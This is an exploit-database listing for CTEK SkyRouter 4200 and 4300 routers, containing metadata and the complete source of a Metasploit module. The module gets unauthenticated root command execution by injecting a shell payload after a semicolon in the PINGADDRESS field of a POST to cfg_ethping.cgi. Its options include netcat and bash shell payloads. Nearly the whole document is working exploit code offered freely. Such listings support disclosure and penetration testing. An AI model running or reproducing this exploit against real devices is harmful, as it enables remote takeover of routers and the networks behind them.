ID

VAR-E-201111-0049

TITLE

CTEK SkyRouter 4200 / 4300 Command Execution

DESCRIPTION

This Metasploit module exploits an unauthenticated remote root vulnerability within CTEK SkyRouter versions 4200 and 4300.

AFFECTED PRODUCTS

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
},
'Author' => [ 'savant42' ], #with module help from kos
'License' => MSF_LICENSE,
'References' => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet netcat-e bash',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
'DefaultTarget' => 0))

end

def exploit
post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
uri = '/apps/a3/cfg_ethping.cgi'
print_status("Sending HTTP request for #{uri}")
res = send_request_cgi( {
'global' => true,
'uri' => uri,
'method' => "POST",
'data' => post_data
}, 30)

if res
print_status("The server responded with HTTP CODE #{res.code}")
else
print_status("The server did not respond to our request")
end

handler
end

end

EXPLOIT HASH

PRICE

free

TYPE

root

TAGS

CREDITS

savant42

EXTERNAL IDS

SOURCES

LAST UPDATE DATE

2022-07-27T09:35:46.631000+00:00

SOURCES RELEASE DATE